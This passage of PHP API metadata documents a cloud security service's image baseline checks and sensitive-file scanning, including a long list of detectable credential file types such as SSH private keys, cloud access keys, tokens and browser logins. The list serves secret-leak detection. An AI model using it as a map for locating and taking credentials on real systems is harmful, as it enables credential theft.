'type' => 'string', 'required' => false, 'example' => 'image', ], 'required' => false, 'maxItems' => 2, ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of the request.'."\n", 'type' => 'string', 'example' => '75AD186B-B46A-56CC-BE35-987ADDF6****', ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"75AD186B-B46A-56CC-BE35-987ADDF6****\\"\\n}","type":"json"}]', 'title' => 'OperateImageBaselineWhitelist', ], 'DescribeImageBaselineStrategy' => [ 'summary' => 'Queries the information about a baseline check policy for images.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'get', ], 'parameters' => [ [ 'name' => 'StrategyId', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the baseline check policy.'."\n", 'type' => 'integer', 'format' => 'int64', 'required' => false, 'example' => '8037', ], ], [ 'name' => 'Lang', 'in' => 'query', 'schema' => [ 'description' => 'The language of the content within the request and response. Valid values:'."\n" ."\n" .'* **zh**: Chinese'."\n" .'* **en**: English'."\n", 'type' => 'string', 'required' => false, 'example' => 'zh', ], ], [ 'name' => 'Source', 'in' => 'query', 'schema' => [ 'description' => 'The data source. Default value: default. Valid values:'."\n" ."\n" .'* **default**: queries the information about a baseline check policy for images.'."\n" .'* **agentless**: queries the information about a baseline check policy for agentless detection.'."\n", 'type' => 'string', 'required' => false, 'example' => 'agentless', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of the request.'."\n", 'type' => 'string', 'example' => '9F85AC10-A1FE-54D7-935A-F28D5256****', ], 'Strategy' => [ 'description' => 'The information about the baseline check policy.'."\n", 'type' => 'object', 'properties' => [ 'Type' => [ 'description' => 'The type of the baseline check policy. Valid values:'."\n" ."\n" .'* **default**: the default policy'."\n" .'* **full**: a policy that uses all baselines'."\n" .'* **normal**: a policy that uses general baselines'."\n", 'type' => 'string', 'example' => 'default', ], 'StrategyName' => [ 'description' => 'The name of the baseline check policy.'."\n", 'type' => 'string', 'example' => 'default', ], 'StrategyId' => [ 'description' => 'The ID of the baseline check policy.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '8257', ], 'SelectedItemCount' => [ 'description' => 'The number of selected baseline check items.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '10', ], 'TotalItemCount' => [ 'description' => 'The total number of baseline check items.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '100', ], 'BaselineItemList' => [ 'description' => 'An array that contains the baselines.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The information about the baseline.'."\n", 'type' => 'object', 'properties' => [ 'NameKey' => [ 'description' => 'The key of the name for the baseline.'."\n", 'type' => 'string', 'example' => 'identification', ], 'ItemKey' => [ 'description' => 'The key of the baseline check item.'."\n", 'type' => 'string', 'example' => 'duplicate_pwd_hash', ], 'ClassKey' => [ 'description' => 'The key of the baseline type.'."\n", 'type' => 'string', 'example' => 'identification', ], ], ], ], 'BaselineItem' => [ 'description' => 'The baseline check policy for agentless detection.'."\n", 'type' => 'string', 'example' => 'hc_win2008_cis_rules', ], ], ], ], 'description' => '', ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"9F85AC10-A1FE-54D7-935A-F28D5256****\\",\\n \\"Strategy\\": {\\n \\"Type\\": \\"default\\",\\n \\"StrategyName\\": \\"default\\",\\n \\"StrategyId\\": 8257,\\n \\"SelectedItemCount\\": 10,\\n \\"TotalItemCount\\": 100,\\n \\"BaselineItemList\\": [\\n {\\n \\"NameKey\\": \\"identification\\",\\n \\"ItemKey\\": \\"duplicate_pwd_hash\\",\\n \\"ClassKey\\": \\"identification\\"\\n }\\n ],\\n \\"BaselineItem\\": \\"hc_win2008_cis_rules\\"\\n }\\n}","type":"json"}]', 'title' => 'DescribeImageBaselineStrategy', ], 'DescribeImageBaselineItemList' => [ 'summary' => 'Queries baseline check results based on images.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'get', 'abilityTreeCode' => '92101', 'abilityTreeNodes' => [ 'FEATUREsasF0IRDR', ], 'tenantRelevance' => 'publicInformation', ], 'parameters' => [ [ 'name' => 'ImageUuid', 'in' => 'query', 'schema' => [ 'description' => 'The UUID of the image.'."\n", 'type' => 'string', 'required' => true, 'example' => '0b5c7193300da2070220038718ad****', ], ], [ 'name' => 'Status', 'in' => 'query', 'schema' => [ 'description' => 'The status of the baseline risk item. Valid values:'."\n" ."\n" .'* **0**: unfixed'."\n" .'* **1**: fixed'."\n" .'* **2**: pending verification'."\n" .'* **3**: fixing failed'."\n", 'type' => 'string', 'required' => false, 'example' => '0', ], ], [ 'name' => 'BaselineClassKey', 'in' => 'query', 'schema' => [ 'description' => 'The key of the baseline type.'."\n", 'type' => 'string', 'required' => false, 'example' => 'ak_leak', ], ], [ 'name' => 'BaselineNameKey', 'in' => 'query', 'schema' => [ 'description' => 'The key of the baseline name.'."\n", 'type' => 'string', 'required' => false, 'example' => 'AccessKey pair leak'."\n", ], ], [ 'name' => 'PageSize', 'in' => 'query', 'schema' => [ 'description' => 'The number of entries to return on each page.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '20', ], ], [ 'name' => 'CurrentPage', 'in' => 'query', 'schema' => [ 'description' => 'The number of the page to return.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '1', ], ], [ 'name' => 'Lang', 'in' => 'query', 'schema' => [ 'description' => 'The language of the content within the request and response. Default value: **zh**. Valid values:'."\n" ."\n" .'* **zh**: Chinese'."\n" .'* **en**: English'."\n", 'type' => 'string', 'required' => false, 'example' => 'zh', ], ], [ 'name' => 'ScanRange', 'in' => 'query', 'style' => 'repeatList', 'schema' => [ 'description' => 'The types of the assets that are scanned.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The type of the asset that is scanned. Valid values:'."\n" ."\n" .'* **image**'."\n" .'* **container**'."\n", 'type' => 'string', 'required' => false, 'example' => 'image,container', ], 'required' => false, 'maxItems' => 2, ], ], [ 'name' => 'Uuids', 'in' => 'query', 'style' => 'repeatList', 'schema' => [ 'description' => 'The UUIDs of images.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The UUID of the image.'."\n", 'type' => 'string', 'required' => false, 'example' => '5b6d4072118f487094199cedf90c****,f6310b7976144639867beea2f346****', ], 'required' => false, 'maxItems' => 1000, ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of the request.'."\n", 'type' => 'string', 'example' => '24A20733-10A0-4AF6-BE6B-E3322413****', ], 'PageInfo' => [ 'description' => 'The pagination information.'."\n", 'type' => 'object', 'properties' => [ 'CurrentPage' => [ 'description' => 'The page number of the returned page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'PageSize' => [ 'description' => 'The number of entries returned per page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '20', ], 'TotalCount' => [ 'description' => 'The total number of entries returned.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '253', ], 'Count' => [ 'description' => 'The number of entries returned on the current page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '20', ], ], ], 'BaselineItemInfos' => [ 'description' => 'An array that consists of baseline check items.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The information about the baseline check item.'."\n", 'type' => 'object', 'properties' => [ 'Status' => [ 'description' => 'The status of the baseline risks. Valid values:'."\n" ."\n" .'* **0**: unfixed'."\n" .'* **1**: fixed'."\n" .'* **2**: pending verification'."\n" .'* **3**: fixing failed'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '0', ], 'WhiteList' => [ 'description' => 'Indicates whether the baseline check item is added to the whitelist. Valid values:'."\n" ."\n" .'* **0**: The baseline check item is not added to the whitelist.'."\n" .'* **1**: The baseline check item is added to the whitelist.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '0', ], 'BaselineNameKey' => [ 'description' => 'The key of the baseline name.'."\n", 'type' => 'string', 'example' => 'ak_leak', ], 'BaselineItemAlias' => [ 'description' => 'The alias of the baseline check item.'."\n", 'type' => 'string', 'example' => 'AccessKey pair leak'."\n", ], 'BaselineClassKey' => [ 'description' => 'The key of the baseline type.'."\n", 'type' => 'string', 'example' => 'ak_leak', ], 'BaselineClassAlias' => [ 'description' => 'The alias of the baseline type.'."\n", 'type' => 'string', 'example' => 'AccessKey pair leak'."\n", ], 'BaselineNameAlias' => [ 'description' => 'The alias of the baseline.'."\n", 'type' => 'string', 'example' => 'AccessKey pair leak'."\n", ], 'BaselineItemKey' => [ 'description' => 'The key of the baseline check item.'."\n", 'type' => 'string', 'example' => 'ak_leak', ], ], ], ], ], ], ], ], 'errorCodes' => [ 400 => [ [ 'errorCode' => 'MissingImageUuid', 'errorMessage' => 'The image ID is required.', ], ], 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"24A20733-10A0-4AF6-BE6B-E3322413****\\",\\n \\"PageInfo\\": {\\n \\"CurrentPage\\": 1,\\n \\"PageSize\\": 20,\\n \\"TotalCount\\": 253,\\n \\"Count\\": 20\\n },\\n \\"BaselineItemInfos\\": [\\n {\\n \\"Status\\": 0,\\n \\"WhiteList\\": 0,\\n \\"BaselineNameKey\\": \\"ak_leak\\",\\n \\"BaselineItemAlias\\": \\"Access Key泄漏\\",\\n \\"BaselineClassKey\\": \\"ak_leak\\",\\n \\"BaselineClassAlias\\": \\"Access Key泄漏\\",\\n \\"BaselineNameAlias\\": \\"Access Key泄漏\\",\\n \\"BaselineItemKey\\": \\"ak_leak\\"\\n }\\n ]\\n}","type":"json"}]', 'title' => 'DescribeImageBaselineItemList', ], 'DescribeImageBaselineDetail' => [ 'summary' => 'Queries the details about the baseline check result for an image.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'get', 'abilityTreeCode' => '92100', 'abilityTreeNodes' => [ 'FEATUREsas0XJWFD', ], 'tenantRelevance' => 'publicInformation', ], 'parameters' => [ [ 'name' => 'ImageUuid', 'in' => 'query', 'schema' => [ 'description' => 'The UUID of the image.'."\n", 'type' => 'string', 'required' => false, 'example' => '06293273b67d19516cfcc712194f****', ], ], [ 'name' => 'BaselineItemKey', 'in' => 'query', 'schema' => [ 'description' => 'The information about the baseline.'."\n", 'type' => 'string', 'required' => false, 'example' => 'Valid values include but are not limited to ak_leak, duplicate_uid, duplicate_pwd_hash, and non_pwd_user.'."\n", ], ], [ 'name' => 'Lang', 'in' => 'query', 'schema' => [ 'description' => 'The language of the content within the request and response. Default value: **zh**. Valid values:'."\n" ."\n" .'* **zh**: Chinese'."\n" .'* **en**: English'."\n", 'type' => 'string', 'required' => false, 'example' => 'zh', ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of the request.'."\n", 'type' => 'string', 'example' => '0B48AB3C-84FC-424D-A01D-B9270EF4****', ], 'BaselineDetail' => [ 'description' => 'The details about the image baseline.'."\n", 'type' => 'object', 'properties' => [ 'Advice' => [ 'description' => 'The suggestion for the management of the risk item.'."\n", 'type' => 'string', 'example' => 'Delete the leaked AccessKey pairs.'."\n", ], 'ResultId' => [ 'description' => 'The ID of the asynchronous request.'."\n", 'type' => 'string', 'example' => 'async__c6f3b0b54613383b40bdce593ffe****', ], 'Description' => [ 'description' => 'The description of the risk item.'."\n", 'type' => 'string', 'example' => 'If an AccessKey pair is leaked, the AccessKey pair may be fraudulently used.'."\n", ], 'BaselineItemAlias' => [ 'description' => 'The alias of the baseline check item.'."\n", 'type' => 'string', 'example' => 'AccessKey pair leak'."\n", ], 'BaselineNameAlias' => [ 'description' => 'The alias of the baseline.'."\n", 'type' => 'string', 'example' => 'AccessKey pair leak'."\n", ], 'BaselineClassAlias' => [ 'description' => 'The alias of the baseline type.'."\n", 'type' => 'string', 'example' => 'ak_leak', ], 'BaselineItemKey' => [ 'description' => 'The key of the baseline check item.'."\n", 'type' => 'string', 'example' => 'ak_leak', ], 'Prompt' => [ 'description' => 'The issue that is detected by using the baseline.'."\n", 'type' => 'string', 'example' => '/usr/aksk.txt:yourAccessKeyID', ], 'Level' => [ 'description' => 'The risk level of the baseline check item. Valid values:'."\n" ."\n" .'* **high**'."\n" .'* **medium**'."\n" .'* **low**'."\n", 'type' => 'string', 'example' => 'high', ], ], ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"0B48AB3C-84FC-424D-A01D-B9270EF4****\\",\\n \\"BaselineDetail\\": {\\n \\"Advice\\": \\"删除泄漏的AK信息。\\",\\n \\"ResultId\\": \\"async__c6f3b0b54613383b40bdce593ffe****\\",\\n \\"Description\\": \\"Access Key泄露，会导致Access Key被冒用的风险。\\",\\n \\"BaselineItemAlias\\": \\"Access Key泄露\\",\\n \\"BaselineNameAlias\\": \\"Access Key泄露\\",\\n \\"BaselineClassAlias\\": \\"ak_leak\\",\\n \\"BaselineItemKey\\": \\"ak_leak\\",\\n \\"Prompt\\": \\"/usr/aksk.txt:yourAccessKeyID\\",\\n \\"Level\\": \\"high\\"\\n }\\n}","type":"json"}]', 'title' => 'DescribeImageBaselineDetail', ], 'DescribeImageBaselineCheckResult' => [ 'summary' => 'Queries the security scan results of images.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'get', 'abilityTreeCode' => '92098', 'abilityTreeNodes' => [ 'FEATUREsasF0IRDR', ], ], 'parameters' => [ [ 'name' => 'ImageUuid', 'in' => 'query', 'schema' => [ 'description' => 'The UUID of the image.'."\n", 'type' => 'string', 'required' => true, 'example' => 'a910053dd4710173ecc9e9d8931f****', ], ], [ 'name' => 'RiskLevel', 'in' => 'query', 'schema' => [ 'description' => 'The severity of the image baseline that you want to query. Separate multiple severities with commas (,). By default, all valid values are used. Valid values:'."\n" ."\n" .'* **high**'."\n" .'* **medium**'."\n" .'* **low**'."\n", 'type' => 'string', 'required' => false, 'example' => 'high,medium,low', ], ], [ 'name' => 'Criteria', 'in' => 'query', 'schema' => [ 'description' => 'The search condition for the image baseline.'."\n", 'type' => 'string', 'required' => false, 'example' => 'ak_leak', ], ], [ 'name' => 'CriteriaType', 'in' => 'query', 'schema' => [ 'description' => 'The type of the search condition. Valid values:'."\n" ."\n" .'* **BaselineNameAlias**: baseline name'."\n" .'* **BaselineClassAlias**: baseline category'."\n", 'type' => 'string', 'required' => false, 'example' => 'BaselineNameAlias', ], ], [ 'name' => 'PageSize', 'in' => 'query', 'schema' => [ 'description' => 'The number of entries to return on each page. Default value: **20**.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '20', ], ], [ 'name' => 'CurrentPage', 'in' => 'query', 'schema' => [ 'description' => 'The number of the page to return. Default value: 1.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '1', ], ], [ 'name' => 'Lang', 'in' => 'query', 'schema' => [ 'description' => 'The language of the content within the request and response. Default value: **zh**. Valid values:'."\n" ."\n" .'* **zh**: Chinese'."\n" .'* **en**: English'."\n", 'type' => 'string', 'required' => false, 'example' => 'zh', ], ], [ 'name' => 'ScanRange', 'in' => 'query', 'style' => 'repeatList', 'schema' => [ 'description' => 'The types of the assets that you want to scan.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The type of the asset that you want to scan. Valid values:'."\n" ."\n" .'* **image**'."\n" .'* **container**'."\n", 'type' => 'string', 'required' => false, 'example' => 'image', ], 'required' => false, 'maxItems' => 100, ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of the request.'."\n", 'type' => 'string', 'example' => '24A20733-10A0-4AF6-BE6B-E3322413****', ], 'PageInfo' => [ 'description' => 'The pagination information.'."\n", 'type' => 'object', 'properties' => [ 'CurrentPage' => [ 'description' => 'The page number of the returned page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'PageSize' => [ 'description' => 'The number of entries returned per page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '20', ], 'TotalCount' => [ 'description' => 'The total number of entries returned.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '100', ], 'Count' => [ 'description' => 'The number of entries returned on the current page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '10', ], ], ], 'BaselineResult' => [ 'description' => 'An array that consists of the check results of image baselines.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The check results of the image baseline.'."\n", 'type' => 'object', 'properties' => [ 'Status' => [ 'description' => 'The status of the baseline risks. Valid values:'."\n" ."\n" .'* **0**: unfixed'."\n" .'* **1**: fixed'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'LowRiskItemCount' => [ 'description' => 'The number of low-risk images that are affected.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '10', ], 'BaselineNameLevel' => [ 'description' => 'The severity of the image baseline. Valid values:'."\n" ."\n" .'* **high**'."\n" .'* **medium**'."\n" .'* **low**'."\n", 'type' => 'string', 'example' => 'high', ], 'LastScanTime' => [ 'description' => 'The timestamp generated when the last scan was performed. Unit: milliseconds.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '1610304058301', ], 'MiddleRiskItemCount' => [ 'description' => 'The number of medium-risk images that are affected.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'BaselineNameKey' => [ 'description' => 'The key of the image baseline.'."\n", 'type' => 'string', 'example' => 'identification', ], 'BaselineItemCount' => [ 'description' => 'The number of baseline check items.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '5', ], 'BaselineNameAlias' => [ 'description' => 'The alias of the image baseline.'."\n", 'type' => 'string', 'example' => 'Identity authentication'."\n", ], 'BaselineClassAlias' => [ 'description' => 'The key of the image baseline type.'."\n", 'type' => 'string', 'example' => 'identification', ], 'FirstScanTime' => [ 'description' => 'The timestamp generated when the first scan was performed. Unit: milliseconds.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '1610304058366', ], 'HighRiskItemCount' => [ 'description' => 'The number of high-risk images that are affected.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], ], ], ], ], ], ], ], 'errorCodes' => [ 400 => [ [ 'errorCode' => 'MissingImageUuid', 'errorMessage' => 'The image ID is required.', ], ], 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'eventInfo' => [ 'enable' => false, 'eventNames' => [], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"24A20733-10A0-4AF6-BE6B-E3322413****\\",\\n \\"PageInfo\\": {\\n \\"CurrentPage\\": 1,\\n \\"PageSize\\": 20,\\n \\"TotalCount\\": 100,\\n \\"Count\\": 10\\n },\\n \\"BaselineResult\\": [\\n {\\n \\"Status\\": 1,\\n \\"LowRiskItemCount\\": 10,\\n \\"BaselineNameLevel\\": \\"high\\",\\n \\"LastScanTime\\": 1610304058301,\\n \\"MiddleRiskItemCount\\": 1,\\n \\"BaselineNameKey\\": \\"identification\\",\\n \\"BaselineItemCount\\": 5,\\n \\"BaselineNameAlias\\": \\"身份鉴别\\",\\n \\"BaselineClassAlias\\": \\"identification\\",\\n \\"FirstScanTime\\": 1610304058366,\\n \\"HighRiskItemCount\\": 1\\n }\\n ]\\n}","type":"json"}]', 'title' => 'DescribeImageBaselineCheckResult', ], 'DescribeAllImageBaseline' => [ 'summary' => 'Queries baselines that are used in image baseline checks.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'get', ], 'parameters' => [ [ 'name' => 'Lang', 'in' => 'query', 'schema' => [ 'description' => 'The language of the content within the request and response. Default value: **zh**. Valid values:'."\n" ."\n" .'* **zh**: Chinese'."\n" .'* **en**: English'."\n", 'type' => 'string', 'required' => false, 'example' => 'zh', ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of the request, which is used to query logs and troubleshoot issues.'."\n", 'type' => 'string', 'example' => '1A975D03-5F49-5354-B2CB-3918D5DA****', ], 'ImageBaselines' => [ 'description' => 'The baselines that are used in image baseline checks.'."\n", 'type' => 'object', 'properties' => [ 'BaselineClassList' => [ 'description' => 'An array that consists of baseline types.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The information about the baseline type.'."\n", 'type' => 'object', 'properties' => [ 'ClassKey' => [ 'description' => 'The key of the baseline type.'."\n", 'type' => 'string', 'example' => 'identification', ], 'Alias' => [ 'description' => 'The alias of the baseline type.'."\n", 'type' => 'string', 'example' => 'Identity authentication'."\n", ], 'BaselineNameList' => [ 'description' => 'The information about the baseline.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The information about the baseline.'."\n", 'type' => 'object', 'properties' => [ 'NameKey' => [ 'description' => 'The key of the name for the baseline.'."\n", 'type' => 'string', 'example' => 'identification', ], 'ClassKey' => [ 'description' => 'The key of the type for the baseline.'."\n", 'type' => 'string', 'example' => 'identification', ], 'Alias' => [ 'description' => 'The alias of the baseline.'."\n", 'type' => 'string', 'example' => 'Identity authentication'."\n", ], 'BaselineItemList' => [ 'description' => 'The information about the baseline check item.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The information about the baseline check item.'."\n", 'type' => 'object', 'properties' => [ 'NameKey' => [ 'description' => 'The key of the name for the baseline.'."\n", 'type' => 'string', 'example' => 'identification', ], 'ItemKey' => [ 'description' => 'The key of the name for the baseline check item.'."\n", 'type' => 'string', 'example' => 'duplicate_pwd_hash', ], 'ClassKey' => [ 'description' => 'The key of the type for the baseline.'."\n", 'type' => 'string', 'example' => 'identification', ], 'Alias' => [ 'description' => 'The alias of the baseline check item.'."\n", 'type' => 'string', 'example' => 'Ensure that no accounts use the same Hash password.'."\n", ], ], ], ], ], ], ], ], ], ], ], ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"1A975D03-5F49-5354-B2CB-3918D5DA****\\",\\n \\"ImageBaselines\\": {\\n \\"BaselineClassList\\": [\\n {\\n \\"ClassKey\\": \\"identification\\",\\n \\"Alias\\": \\"身份鉴别\\",\\n \\"BaselineNameList\\": [\\n {\\n \\"NameKey\\": \\"identification\\",\\n \\"ClassKey\\": \\"identification\\",\\n \\"Alias\\": \\"身份鉴别\\",\\n \\"BaselineItemList\\": [\\n {\\n \\"NameKey\\": \\"identification\\",\\n \\"ItemKey\\": \\"duplicate_pwd_hash\\",\\n \\"ClassKey\\": \\"identification\\",\\n \\"Alias\\": \\"确保不存在相同密码Hash的账户\\"\\n }\\n ]\\n }\\n ]\\n }\\n ]\\n }\\n}","type":"json"}]', 'title' => 'DescribeAllImageBaseline', ], 'DescribeImageListBySensitiveFile' => [ 'summary' => 'Queries information about images that are affected by sensitive files.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'get', 'abilityTreeCode' => '156728', 'abilityTreeNodes' => [ 'FEATUREsasF0IRDR', ], 'tenantRelevance' => 'publicInformation', ], 'parameters' => [ [ 'name' => 'SensitiveFileKey', 'in' => 'query', 'schema' => [ 'description' => 'The type of the alert for the sensitive file. Valid values:'."\n" ."\n" .'* **npm_token**: npm access token.'."\n" .'* **ftp_cfg**: FTP configuration.'."\n" .'* **google_oauth_key**: Google OAuth key.'."\n" .'* **planetscale_passwd**: PlanetScale password.'."\n" .'* **github_ssh_key**: Github SSH key.'."\n" .'* **msbuild_publish_profile**: MSBuild publish profile.'."\n" .'* **fastly_cdn_token**: Fastly CDN token.'."\n" .'* **ssh_private_key**: SSH private key.'."\n" .'* **aws_cli**: Amazon Web Services (AWS) CLI credential.'."\n" .'* **cpanel_proftpd**: cPanel ProFTPD credential.'."\n" .'* **postgresql_passwd**: PostgreSQL password file.'."\n" .'* **discord_client_cred**: Discord client credential.'."\n" .'* **rails_database**: Rails database configuration.'."\n" .'* **aws_access_key**: AWS access key.'."\n" .'* **esmtp_cfg**: configuration of mail server over Extended Simple Mail Transfer Protocol (ESMTP).'."\n" .'* **docker_registry_cfg**: configuration of a Docker image repository.'."\n" .'* **pem**: Privacy-Enhanced Mail (PEM).'."\n" .'* **common_cred**: common credential.'."\n" .'* **sftp_cfg**: configuration of connection over Secure File Transfer Protocol (SFTP).'."\n" .'* **grafana_token**: Grafana token.'."\n" .'* **slack_token**: Slack token.'."\n" .'* **ec_private_key**: Elliptic Curve (EC) private key.'."\n" .'* **pypi_token**: Python Package Index (PyPI) token.'."\n" .'* **finicity_token**: Finicity token.'."\n" .'* **k8s_client_key**: private key for the Kubernetes client.'."\n" .'* **git_cfg**: Git configuration.'."\n" .'* **django_key**: Django key.'."\n" .'* **jenkins_ssh**: SSH configuration file for Jenkins.'."\n" .'* **openssh_private_key**: OpenSSH private key.'."\n" .'* **square_oauth**: Square OAuth credential.'."\n" .'* **typeform_token**: Typeform token.'."\n" .'* **common_database_cfg**: configuration of general database connection.'."\n" .'* **wordpress_database_cfg**: WordPress database configuration.'."\n" .'* **googlecloud_api_key**: API key for Google Cloud.'."\n" .'* **vscode_sftp**: VSCode SFTP configuration.'."\n" .'* **apache_htpasswd**: Apache htpasswd.'."\n" .'* **planetscale_token**: PlanetScale token.'."\n" .'* **contentful_preview_token**: preview token for Contentful.'."\n" .'* **php_database_cfg**: database password for a PHP application.'."\n" .'* **atom_remote_sync**: Atom remote synchronization configuration.'."\n" .'* **aws_session_token**: AWS session token.'."\n" .'* **atom_sftp_cfg**: Atom SFTP configuration.'."\n" .'* **asana_client_private_key**: private key for the Asana client.'."\n" .'* **tencentcloud_ak**: secret ID of a third-party cloud.'."\n" .'* **rsa_private_key**: Rivest-Shamir-Adleman (RSA) private key.'."\n" .'* **github_personal_token**: personal access token for GitHub.'."\n" .'* **pgp**: Pretty Good Privacy (PGP) encrypted file.'."\n" .'* **stripe_skpk**: Stripe secret key.'."\n" .'* **square_token**: Square access token.'."\n" .'* **rails_carrierwave**: Rails Carrierwave credential.'."\n" .'* **dbeaver_database_cfg**: DBeaver database configuration.'."\n" .'* **robomongo_cred**: RoboMongo credential.'."\n" .'* **github_oauth_token**: OAuth access token for GitHub.'."\n" .'* **pulumi_token**: Pulumi token.'."\n" .'* **ventrilo_voip**: configuration of a Ventrilo VoIP server.'."\n" .'* **macos_keychain**: macOS keychain.'."\n" .'* **amazon_mws_token**: Amazon MWS token.'."\n" .'* **dynatrace_token**: Dynatrace token.'."\n" .'* **java_keystore**: Java KeyStore (JKS).'."\n" .'* **microsoft_sdf**: Microsoft SQL Server Compact Edition (CE) database.'."\n" .'* **kubernetes_dashboard_cred**: user credential for Kubernetes Dashboard.'."\n" .'* **atlassian_token**: Atlassian token.'."\n" .'* **rdp**: remote desktop protocol (RDP).'."\n" .'* **mailgun_key**: Mailgun webhook signing key.'."\n" .'* **mailchimp_api_key**: API key for Mailchimp.'."\n" .'* **netrc_cfg**: .netrc configuration file.'."\n" .'* **openvpn_cfg**: configuration of the OpenVPN client.'."\n" .'* **github_refresh_token**: GitHub refresh token.'."\n" .'* **salesforce**: Salesforce credential.'."\n" .'* **salesforce**: Sendinblue token.'."\n" .'* **pkcs_private_key**: PKCS#12 private key.'."\n" .'* **rubyonrails_passwd**: Ruby on Rails password file.'."\n" .'* **filezilla_ftp**: FileZilla FTP configuration.'."\n" .'* **databricks_token**: Databricks token.'."\n" .'* **gitLab_personal_toke**: personal access token for GitLab.'."\n" .'* **rails_master_key**: Rails master key.'."\n" .'* **sqlite**: SQLite3 or SQLite database.'."\n" .'* **firefox_logins**: Firefox logon configuration.'."\n" .'* **mailgun_private_token**: Mailgun private token.'."\n" .'* **joomla_cfg**: Joomla configuration.'."\n" .'* **hashicorp_terraform_token**: HashiCorp Terraform token.'."\n" .'* **jetbrains_ides**: JetBrains IDEs 